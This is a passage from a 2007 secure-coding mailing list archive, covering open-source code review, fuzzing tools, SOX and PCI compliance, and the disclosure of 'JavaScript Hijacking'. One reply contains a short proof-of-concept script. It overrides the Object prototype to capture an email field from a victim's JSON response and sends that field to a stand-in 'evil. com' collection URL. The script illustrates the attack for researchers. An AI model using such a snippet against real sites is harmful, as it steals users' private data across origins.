reality.   Just look at the evidence. There are a number of OSS projects 
where it's quite clear just by looking at the SCM records that many 
people _do_ review the code, both manually and by automated means.  The 
OpenBSD developers have been doing manual review for a long, long time, 
and their record of only 2 remote holes in 10 years is quite impressive. 
  Debian has a similar audit project as well.  (Both OpenBSD and Debian 
focus their efforts though... only SPECIFIC programs get reviewed, not 
stuff like chess games.)  There's a $500 bounty for finding 
vulnerabilities in Mozilla, and it's clear that many people are 
reviewing Mozilla Firefox's code specifically for security issues. 
There are now several projects that download OSS programs, review them 
through automated tools, and send back their results to the developers 
(DHS and Fortify back two such projects).  The claim that "no OSS 
program gets lots of review" is absolutely untrue.

On the other hand, it's nonsense that just because something is OSS 
means that (1) it's automatically secure or (2) it'll always be 
reviewed.  If _that_ is what you mean, then I completely agree with you. 
  Sendmail has had a terrible record - but Exchange is no saint either. 
I'd rather put my money on Postfix, which was specifically DESIGNED to 
be secure, as well as having review, than either of them.

I believe that you need to evaluate the security of OSS programs - or 
proprietary programs - on a case by case basis.   On that, I hope, we 
agree.  Any OSS program can in theory be reviewed, but only some get 
real review.  There are a number of specific OSS programs that do 
markedly better than their proprietary competition in terms of security 
- unsurprisingly, those tend to be the ones that HAVE received lots of 
review. Conversely, there are many OSS programs (and proprietary 
programs) that are absolute junk.  So look before you leap.

--- David A. Wheeler



From gunnar at arctecgroup.net  Fri Mar 23 17:12:57 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Fri, 23 Mar 2007 17:12:57 -0500
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <Pine.LNX.4.64.0703230659520.32524@forced.attrition.org>
Message-ID: <C229BB19.8786%gunnar@arctecgroup.net>

> Just because people can look at a project in detail, doesn't mean they
> will. More to the point, just because people can, doesn't mean code
> auditing gurus will look at it.
> 

And sometimes, when they do look they get booted out of the project

http://www.heise-security.co.uk/news/82500

-gp



From ken at krvw.com  Mon Mar 26 07:20:26 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 26 Mar 2007 07:20:26 -0500
Subject: [SC-L] Full Disclosure: Fuzzled - Perl fuzzing framework
Message-ID: <28FF82C5-F671-4D68-883B-925DF841BF70@krvw.com>

FYI, I saw this tool announcement and thought some folks here might  
find it useful.  It's a free perl-based fuzzing framework written by  
Tim Brown.  Follow the link to find the download site.

http://seclists.org/fulldisclosure/2007/Mar/0415.html

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070326/9472dc3b/attachment.bin 

From ge at linuxbox.org  Mon Mar 26 11:12:43 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 26 Mar 2007 11:12:43 -0500 (CDT)
Subject: [SC-L] Full Disclosure: Fuzzled - Perl fuzzing framework
In-Reply-To: <28FF82C5-F671-4D68-883B-925DF841BF70@krvw.com>
Message-ID: <Pine.LNX.4.21.0703261112160.4659-100000@linuxbox.org>

On Mon, 26 Mar 2007, Kenneth Van Wyk wrote:
> FYI, I saw this tool announcement and thought some folks here might  
> find it useful.  It's a free perl-based fuzzing framework written by  
> Tim Brown.  Follow the link to find the download site.
> 
> http://seclists.org/fulldisclosure/2007/Mar/0415.html
> 

Another interesting open source fuzzer from recent months is TAOF.



> Cheers,
> 
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> 


From ge at linuxbox.org  Mon Mar 26 19:08:14 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 26 Mar 2007 19:08:14 -0500 (CDT)
Subject: [SC-L] [fuzzing] the future of fuzzing [was: Rcov] (fwd)
Message-ID: <Pine.LNX.4.21.0703261907430.17778-100000@linuxbox.org>

I didn't want to cross-post to another list, but sending here if the
moderator finds this post useful.

---------- Forwarded message ----------
Date: Mon, 26 Mar 2007 19:05:58 -0500 (CDT)
From: Gadi Evron <ge at linuxbox.org>
To: Kowsik <kowsik at musecurity.com>
Cc: fuzzing at whitestar.linuxbox.org, dailydave at lists.immunitysec.com
Subject: [fuzzing] the future of fuzzing [was: Rcov]

On Mon, 26 Mar 2007, Kowsik wrote:
> We just released rcov-0.1, an interactive/incremental code coverage
> tool to assist in building effective fuzzers.
> 
> Quick summary:
> 
> - It's a WEBrick browser-based application (ruby)
> - Uses gcov's notes/data files to get at blocks and function summaries
> - Interactively/incrementally shows the coverage information while fuzzing
> - Uses ctags to cross reference functions/prototypes/definitions/macros

Hi Kowsik, thanks for this.

I have a few notes though, as I believe this can be taken much further
(at least my studies so far show that).

We have three levels or layers (depends on approach):
1. Building better fuzzers (which you cover).
2. Helping the fuzzing process, fuzzing better.
3. Making the process of finding the actual vulnerability once an
   indication is found (a successful test case, or as they say in QA, a
   passing one) easier.

Several folks in the past few months have said that fuzzing isn't new and
has been done for years - that much is true.

Some folks also said that fuzzing is as simple as it gets and has no where
left to evolve. That is indeed very much false.

Code coverage, static analysis, run-time analysis.. etc. all have a place
in the future of fuzzing.

I see fuzzers development in coming years as changing the term "dumb
fuzzing" to mean today's protocol-based smart fuzzing, and "smart
fuzzing" being about what interactive changes are happening as you fuzz.

The most that we see today (in most cases) is the engine running
undisturbed, while the monitor (if such even exists) being a simple
debugger.

Evolving host and network monitoring to use profiling technologies, map
functions and paths, watch for memory issues, etc. is fast coming.

Today, changing the action of a fuzzer as it is running is difficult
(there is no real Driver, just an Engine). A simple example for this
evolution could be watching for CPU uage. If the CPU usage spikes it could
mean:
1. We are sending too many requests per second - we should slow down the
engine.
2. (if for the thread itself) We are on to something, we should explore
this attack (likely 10000 "attacks" we went through) or adjust to a
different fuzzing engine to explore that particular section of the
program (as we mapped it - code coverage again).

The two don't easily work together, not to mention even stopping a fuzzer,
rewinding it or God forbid running a different one at the same time (on
the same instance anyway).

Which brings us to distributed fuzzing... but that's a whole
different subject yet again.

Fuzzing has a long way to go, and we didn't even really start to explore
full intergration with static analysis tools (other than with results).

We had a discussion on the fuzzing mailing list recently about genetic
fuzzing, but I dam not really a math geek. Jared can explain that one
better... and so on.

All that before we explore uses for fuzzing outside of the development
cycle (mostly security QA) and vulnerability research, which is with
client-side testing. Perhaps fuzzers will help us force the hand of
software vendors to develop more robust and secure code.

Working for a fuzzing vendor I am only too familiar with the Turing
halting problem and seeking reality in the midst of eternal runs, but the
most interesting thing I found in the past few months (which wasn't
technical) is the clash of cultures between QA engineers and Security
professionals. It will be very interesting to see where we end up.

Thanks,

	Gadi.

--
"beepbeep it, i leave work, stop reading sec lists and im still hearing
gadi"
- HD Moore to Gadi Evron on IM, on Gadi's interview on npr, March 2007.

_______________________________________________
fuzzing mailing list
fuzzing at whitestar.linuxbox.org
http://www.whitestar.linuxbox.org/mailman/listinfo/fuzzing


From James.McGovern at thehartford.com  Tue Mar 27 14:37:06 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 27 Mar 2007 15:37:06 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <46041B55.3050308@ida.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999807@AD1HFDEXC309.ad1.prod>

May I share another perspective.

1. The debate between open source vs. closed source in terms of security doesn't matter. Does anyone has any metrics that quantify the economics of writing better corporate software not for public consumption?

2. If you can't make the economic case, then you can possibly make the case of indexing yourself to others. I know folks opinion here in terms of keeping up with the Jones's but unless someone brainstorms a way for folks to do this, the economic case may never be made.

3. When one looks at metrics and more importantly maturity models, they almost always measure process and tend to avoid measuring either people and/or technology. If security folks figuring out how to measure people, process and technology then additional opportunities for secure coding practices may expose themselves.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From ken at krvw.com  Fri Mar 30 07:33:07 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 30 Mar 2007 08:33:07 -0400
Subject: [SC-L] SANS Software Security Institute announced
Message-ID: <81EE2DD0-B652-420F-BA9F-C7D686D98250@krvw.com>

FYI, the folks at SANS have announced the launch of their Software  
Security Institute (see http://www.sans-ssi.org/ for details).

Their web site cites the following 6 goals:

     * Allow employers to rate their programmers on security skills  
so they can be confident that every project has at least one  
"security master" and all of their programmers understand the common  
errors and how to avoid them.
     * Provide a means for buyers of software and systems vendors to  
measure the secure programming skills of the people who work for the  
supplier.
     * Allow programmers to identify their gaps in secure programming  
knowledge in the language they use and target education to fill those  
gaps.
     * Allow employers to evaluate job candidates and potential  
consultants on their secure programming skills and knowledge.
     * Provide incentive for universities to include secure coding in  
required computer science, engineering, and programming courses.
     * Provide reporting to allow individuals and organizations to  
compare their skills against others in their industry, with similar  
education or experience or in similar regions around the world.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070330/a9981c1f/attachment.bin 

From list-procurare at secureconsulting.net  Fri Mar 30 08:29:29 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Fri, 30 Mar 2007 09:29:29 -0400
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
Message-ID: <002b01c772cf$724ec4b0$0a01a8c0@zippy>

Running a little behind... :)

SOX has been a complete waste, imo.  First, the majority of it was already
covered in existing law.  Second, it really has nothing to do with security
from a practical standpoint.  The only purpose SOX has served is to give
auditors another source of revenue.  And, worse than that, it initially gave
auditors the appearance of more power and responsibility, which I saw
carried out in external auditors trying to dictate to businesses how the
business should operate (and not in a good way).  Talk about a fundamental
violation of independence and objectivity.  The pendulum has fortunately
swung back on that trend.

PCI DSS, on the other hand, has been a very good effort with real,
meaningful results.  Why is this?  Well, for one thing, it's specific.  As
opposed to SOX, which paints with broad strokes and focuses on truth in
reporting (gross oversimplification), PCI DSS goes into technical detail on
what activities must be implemented, what minimum measures are for adequate
security in a system, etc.  Perhaps the best example of this thought is
section 3.6 in DSS v1.1, where it details the minimum requirements for key
management.  It makes my job much easier having this level of detail, with
much less left to interpretation (again, unlike SOX, where almost everything
is open to interpretation and the whim of your auditors).

So, overall, are regulations good and useful?  Yes, but with the caveat that
they need to be specific enough to indicate an actual direction and
associated actions.  Oh, and it helps to have follow-through.  Visa and co.
are starting to fine companies for lack of compliance.  Maybe there have
been SOX fines, but I can't think of any examples.  I think it's also
extremely important to note the difference in efficacy between a generic
knee-jerk government regulation and a specific, business-driven industry
regulation.

fwiw.

-ben

---
Benjamin Tomhave, MS, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/profile?viewProfile=&key=1539292
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt
 

> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Gary McGraw
> Sent: Monday, March 12, 2007 4:53 PM
> To: SC-L at securecoding.org
> Subject: [SC-L] Darkreading: compliance
> 
> hi sc-l,
> 
> this month's darkreading column is about compliance.  my own 
> belief is that compliance has really helped move software 
> security forward.  in particular, sox and pci have been a boon:
> 
> http://www.darkreading.com/document.asp?doc_id=119163
> 
> what do you think?  have compliance efforts you know about 
> helped to forward software security?
> 
> gem
> 
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
> 
> 
> 
> --------------------------------------------------------------
> --------------
> This electronic message transmission contains information 
> that may be confidential or privileged.  The information 
> contained herein is intended solely for the recipient and use 
> by any other party is not authorized.  If you are not the 
> intended recipient (or otherwise authorized to receive this 
> message by the intended recipient), any disclosure, copying, 
> distribution or use of the contents of the information is 
> prohibited.  If you have received this electronic message 
> transmission in error, please contact the sender by reply 
> email and delete all copies of this message.  Cigital, Inc. 
> accepts no responsibility for any loss or damage resulting 
> directly or indirectly from the use of this email or its contents.
> Thank You.
> --------------------------------------------------------------
> --------------
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org List 
> information, subscriptions, etc - 
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - 
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC 
> (http://www.KRvW.com) as a free, non-commercial service to 
> the software security community.
> _______________________________________________
> 


From ljknews at mac.com  Fri Mar 30 09:25:07 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 30 Mar 2007 09:25:07 -0500
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <002b01c772cf$724ec4b0$0a01a8c0@zippy>
References: <002b01c772cf$724ec4b0$0a01a8c0@zippy>
Message-ID: <p05200f0dc232cc5dccdf@[192.168.1.254]>

At 9:29 AM -0400 3/30/07, Benjamin Tomhave wrote:

> SOX has been a complete waste, imo.  First, the majority of it was already
> covered in existing law.  Second, it really has nothing to do with security
> from a practical standpoint.  The only purpose SOX has served is to give
> auditors another source of revenue.  And, worse than that, it initially gave
> auditors the appearance of more power and responsibility, which I saw
> carried out in external auditors trying to dictate to businesses how the
> business should operate (and not in a good way).  Talk about a fundamental
> violation of independence and objectivity.  The pendulum has fortunately
> swung back on that trend.
> 
> PCI DSS, on the other hand, has been a very good effort with real,
> meaningful results.  Why is this?  Well, for one thing, it's specific.  As
> opposed to SOX, which paints with broad strokes and focuses on truth in
> reporting (gross oversimplification), PCI DSS goes into technical detail on
> what activities must be implemented, what minimum measures are for adequate
> security in a system, etc.  Perhaps the best example of this thought is
> section 3.6 in DSS v1.1, where it details the minimum requirements for key
> management.  It makes my job much easier having this level of detail, with
> much less left to interpretation (again, unlike SOX, where almost everything
> is open to interpretation and the whim of your auditors).

That parenthetical comment is almost verbatim the description of SOX
I received from someone who is subject to SOX audits.

My own nomination for specificity in security standards is NIST Special
Publication 800-53 (currently at Revision 1).

   http://csrc.nist.gov/publications/nistpubs/index.html#sp800-53-Rev1

Through all the controls there is only one requirement with which I disagree.
-- 
Larry Kilgallen

From brian at fortifysoftware.com  Mon Apr  2 00:03:05 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Sun, 01 Apr 2007 21:03:05 -0700
Subject: [SC-L] JavaScript Hijacking
Message-ID: <C235CE89.2AB84%brian@fortifysoftware.com>

I've been getting questions about Ajax/Web 2.0 for a few years now.  Most of
the time the first question is along these lines: "Does Ajax cause any new
security problems?"  Until recently, my answer has been right in line with
the answers I've heard from other corners of the world: "No."

Then I've gone on to explain that Ajax doesn't change the rules of the game,
but it does tilt the playing field.  For example:
  - By splitting your code between a client and a server, you increase
    you opportunity for misplacing input validation logic and access
    control checks.
  - Dynamic testing tools tend to have a harder time with Ajax apps.

Now my story has changed.  We've found a new type of vulnerability that only
affects Ajax-style apps.  We call the attack "JavaScript Hijacking".  It
enables an attacker to read confidential information from vulnerable sites.
The attack works because many Ajax apps have given up on the "x" in Ajax.
Instead of XML, they're using JavaScript as a data transport format.

The problem is that web browsers don't protect JavaScript the same way they
protect HTML, so a malicious web site can peek into some of the JavaScript
returned from a vulnerable Ajax app.  We've looked at a lot of Ajax
frameworks over the past few weeks, including Google's GWT, Microsoft Atlas,
and half a dozen open source frameworks.  Almost all of them make it easy
for developers to write vulnerable code.  Some of them *require* developers
to write vulnerable code.

Our write-up on the problem, along with our proposed solution, is here:
    
http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf

Enjoy,
Brian


From stefano.dipaola at wisec.it  Mon Apr  2 05:11:24 2007
From: stefano.dipaola at wisec.it (Stefano Di Paola)
Date: Mon, 02 Apr 2007 11:11:24 +0200
Subject: [SC-L] JavaScript Hijacking
Message-ID: <1175505084.7225.20.camel@localhost>

Brian,

i don't know if you read it but me and Giorgio Fedon presented a paper
named "Subverting Ajax" at 23rd CCC Congress. 
(4th section XSS Prototype Hijacking)
http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf

It described a technique called Prototype Hijacking, which is about
overriding methods and attributes by using contructors and prototyping.
It was described how to override XMLHttprequest object, but it was
stated that it could be applied to every prototype. 

If you didn't read it, please read it and add some reference to your
paper.
If you read it:
- i think we deserve at least reference to our paper.
- even if you covered JSON hijacking, the technique is the same and the
name (Javascript Hijacking) is quite similar.

Regards,

Stefano

> I've been getting questions about Ajax/Web 2.0 for a few years now.  Most of
> the time the first question is along these lines: "Does Ajax cause any new
> security problems?"  Until recently, my answer has been right in line with
> the answers I've heard from other corners of the world: "No."
> 
> Then I've gone on to explain that Ajax doesn't change the rules of the game,
> but it does tilt the playing field.  For example:
>   - By splitting your code between a client and a server, you increase
>     you opportunity for misplacing input validation logic and access
>     control checks.
>   - Dynamic testing tools tend to have a harder time with Ajax apps.
> 
> Now my story has changed.  We've found a new type of vulnerability that only
> affects Ajax-style apps.  We call the attack "JavaScript Hijacking".  It
> enables an attacker to read confidential information from vulnerable sites.
> The attack works because many Ajax apps have given up on the "x" in Ajax.
> Instead of XML, they're using JavaScript as a data transport format.
> 
> The problem is that web browsers don't protect JavaScript the same way they
> protect HTML, so a malicious web site can peek into some of the JavaScript
> returned from a vulnerable Ajax app.  We've looked at a lot of Ajax
> frameworks over the past few weeks, including Google's GWT, Microsoft Atlas,
> and half a dozen open source frameworks.  Almost all of them make it easy
> for developers to write vulnerable code.  Some of them *require* developers
> to write vulnerable code.
> 
> Our write-up on the problem, along with our proposed solution, is here:
>     
> http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf
> 
> Enjoy,
> Brian


From James.McGovern at thehartford.com  Mon Apr  2 10:45:16 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 2 Apr 2007 10:45:16 -0400
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <p05200f0dc232cc5dccdf@[192.168.1.254]>
Message-ID: <773F863A6009244B87E6E866AFC7DB46039C0903@AD1HFDEXC309.ad1.prod>

SoX has done a wonderful job of getting enterprises to embrace the notion of holistic identity and access management which wasn't occuring prior to it. It would be interesting to hear from folks here what other enterprise initiatives do you think that should be on the radar of large enterprises.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Mon Apr  2 10:45:16 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 2 Apr 2007 10:45:16 -0400
Subject: [SC-L] Misc Thoughts
In-Reply-To: <p05200f0dc232cc5dccdf@[192.168.1.254]>
Message-ID: <773F863A6009244B87E6E866AFC7DB46039C0904@AD1HFDEXC309.ad1.prod>

Many folks acknowledge that outsourcing poses additional challenges to enterprises. OWASP has done a wonderful job in terms of creating boilerplate for procuring software, but nothing exists in terms of procuring services. What is the best entity to create standard boilerplate for outsourcing?

Large enterprises have information protection policies which are statements of controls that can be audited by firms such as Deloitte. Are there any good examples of "controls" that enterprises have adopted in terms of secure coding practices that are publicly available?

One thought that I had is that secure coding practices could be pervasively implemented if we as a community started to serve on non-profit advisory boards as these folks are the most exposed. How does one find opportunities to serve in this capacity.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Mon Apr  2 10:45:16 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 2 Apr 2007 10:45:16 -0400
Subject: [SC-L] Security Courses for Business Analysts
In-Reply-To: <002b01c772cf$724ec4b0$0a01a8c0@zippy>
Message-ID: <773F863A6009244B87E6E866AFC7DB46039C0902@AD1HFDEXC309.ad1.prod>

Last year, several members of our architecture community spent two days with Ken and found it to be valuable. We hope to do the same thing around Q3/Q4 for a larger audience but have been asked to explore security training for the business analyst community. Can anyone point me in the right direction towards training providers that have courses with the below characteristics?

*	Training done on our site
*	Fixed price per training day regardless of number of attendees 
*	Discusses how to document security-specific requirements
*	Discusses how to institutionalize the creation of misuse cases
*	Making the business case at a project-level for increased security
*	Considerations around creation of software test plans that incorporate security-specific aspects





*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070402/7c0a9afa/attachment.html 

From brian at fortifysoftware.com  Mon Apr  2 15:13:53 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Mon, 02 Apr 2007 12:13:53 -0700
Subject: [SC-L] JavaScript Hijacking
In-Reply-To: <1175505084.7225.20.camel@localhost>
Message-ID: <C236A401.2AC30%brian@fortifysoftware.com>

Hi Stefano,

Yes, we are aware of your paper, but we intentionally chose to omit the
reference because we are quite snobby.  I'm joking!  I hadn't seen your
paper previously.  It was a good read.

The difference between what you discuss and JavaScript Hijacking is that we
do not assume the presence of another defect.  JavaScript Hijacking does not
require the existence of a cross-site scripting vulnerability or the like.
It's a new attack technique (and a new vulnerable code pattern), not a new
method for exploiting an existing class of vulnerabilities.

Thanks,
Brian

> From: Stefano Di Paola <stefano.dipaola at wisec.it>
> Date: Mon, 02 Apr 2007 11:11:24 +0200
> To: "sc-l at securecoding.org" <sc-l at securecoding.org>
> Cc: Brian Chess <brian at fortifysoftware.com>
> Subject: Re: [SC-L] JavaScript Hijacking
> 
> Brian,
> 
> i don't know if you read it but me and Giorgio Fedon presented a paper
> named "Subverting Ajax" at 23rd CCC Congress.
> (4th section XSS Prototype Hijacking)
> http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.p
> df
> 
> It described a technique called Prototype Hijacking, which is about
> overriding methods and attributes by using contructors and prototyping.
> It was described how to override XMLHttprequest object, but it was
> stated that it could be applied to every prototype.
> 
> If you didn't read it, please read it and add some reference to your
> paper.
> If you read it:
> - i think we deserve at least reference to our paper.
> - even if you covered JSON hijacking, the technique is the same and the
> name (Javascript Hijacking) is quite similar.
> 
> Regards,
> 
> Stefano
> 



From stefano.dipaola at wisec.it  Tue Apr  3 12:30:11 2007
From: stefano.dipaola at wisec.it (Stefano Di Paola)
Date: Tue, 03 Apr 2007 18:30:11 +0200
Subject: [SC-L] JavaScript Hijacking
In-Reply-To: <C236A401.2AC30%brian@fortifysoftware.com>
References: <C236A401.2AC30%brian@fortifysoftware.com>
Message-ID: <1175617811.7199.68.camel@laptop>

Hi Brian,
Il giorno lun, 02/04/2007 alle 12.13 -0700, Brian Chess ha scritto:
> Hi Stefano,
> 
> Yes, we are aware of your paper, but we intentionally chose to omit the
> reference because we are quite snobby.  I'm joking!

:DD lol

> The difference between what you discuss and JavaScript Hijacking is that we
> do not assume the presence of another defect.  JavaScript Hijacking does not
> require the existence of a cross-site scripting vulnerability or the like.
> It's a new attack technique (and a new vulnerable code pattern), not a new
> method for exploiting an existing class of vulnerabilities.

Ok I see the difference. 
You are taking advantage of a pure json CSRF with a evil script which
contains a modified version of the Object prototype.
And when the callback function is executed you use a XMLHttpRequest in
order to send the information extracted by the instantiated object.

Well i can see that you don't require a XSS vuln on a host, but you
assume a vulnerability on a user who has to click on a link :)

Anyway, if there's a html injection on a 3rd site you could use an
iframe with an evil page like the one you described without waiting  for
a user to click on an untrusted link.

Or, if you cant use iframes, as XMLHttpRequest is restricted by same
origin policy, you dont need an evil page since you could use a XSS
vulnerable site as a vector in order to steal json informations with an
img tag.
--
<script>
function Object(){
 this.email setter =  captureObject;
}
function captureObject(x){
(new Image()).src='http:// evil. com/ collect?email='+x;
}
</script>
<script src='http:// vuln /json.js' ></script>
--

But this is just another way to accomplish your attack.

BTW very nice paper!

Regards,
Stefano

> Thanks,
> Brian

-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Web: www.wisec.it
..................
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Questa =?ISO-8859-1?Q?=E8?= una parte del messaggio
	firmata digitalmente
Url : http://krvw.com/pipermail/sc-l/attachments/20070403/706dee87/attachment.bin 

From gem at cigital.com  Wed Apr  4 10:00:30 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 4 Apr 2007 10:00:30 -0400
Subject: [SC-L] Darkreading: compliance
Message-ID: <83B3489DF1064F4E90218770D953D36113F06A@va-mail.cigital.com>

Hi all,

Another big momentum machine for software security (and data security) is PCI compliance.   There is a challenge, though, and that is figuring out where the credit card data that you want to protect are.   We've found in our practice at cigital that the data are literally scattered all over the enterprise.   Because of this, hair-brained solutions like application firewalls (something called out in the PCI standards) often don't help.

I think PCI compliance is doing for data security and data risk what SOX did for software security and sofware risk.   They both help with problem awareness.

To answer your question directly, we see lots of large enterprises working hard on PCI these days.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com.


 -----Original Message-----
From: 	McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:	Mon Apr 02 11:15:49 2007
To:	SC-L at securecoding.org
Subject:	[SC-L] Darkreading: compliance

SoX has done a wonderful job of getting enterprises to embrace the notion of holistic identity and access management which wasn't occuring prior to it. It would be interesting to hear from folks here what other enterprise initiatives do you think that should be on the radar of large enterprises.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From James.McGovern at thehartford.com  Wed Apr  4 10:11:13 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 4 Apr 2007 10:11:13 -0400
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <83B3489DF1064F4E90218770D953D36113F06A@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399986D@AD1HFDEXC309.ad1.prod>

Gary, may I suggest an alternative response to application firewalls and the notion that it is hair-brained? Of course this is true but this list is missing a major opportunity to finally calculate an ROI model. If you ask yourself, what types of firewalls are pervasively deployed, you would find that application-firewalls aren't. This would then mean that folks would either need to replace their existing firewall (very risky that no one would ever consider), add multiple firewalls which introduce operational complexity, etc. 

You are probably aware that Cisco Pix, Checkpoint, etc aren't app-level which says that incumbent vendors aren't the solution. Likewise, you are probably aware that for other than common protocols, you probably will have to pay big bucks to vendors to develop custom plugins to their closed source offerings and the procurement cycle times around this are lengthy at best.

For many shops, having another type of firewall could cost millions whereas putting tools in the hands of developers may actually be cheaper. We as a community may be better served by encouraging application firewalls and letting the financial model for complying work in our favor...

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Wednesday, April 04, 2007 10:01 AM
To: McGovern, James F (HTSC, IT); SC-L at securecoding.org
Subject: RE: [SC-L] Darkreading: compliance


Hi all,

Another big momentum machine for software security (and data security) is PCI compliance.   There is a challenge, though, and that is figuring out where the credit card data that you want to protect are.   We've found in our practice at cigital that the data are literally scattered all over the enterprise.   Because of this, hair-brained solutions like application firewalls (something called out in the PCI standards) often don't help.

I think PCI compliance is doing for data security and data risk what SOX did for software security and sofware risk.   They both help with problem awareness.

To answer your question directly, we see lots of large enterprises working hard on PCI these days.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Wed Apr  4 11:10:35 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 4 Apr 2007 11:10:35 -0400
Subject: [SC-L] Foundations of Security: What Every Programmer Needs to Know
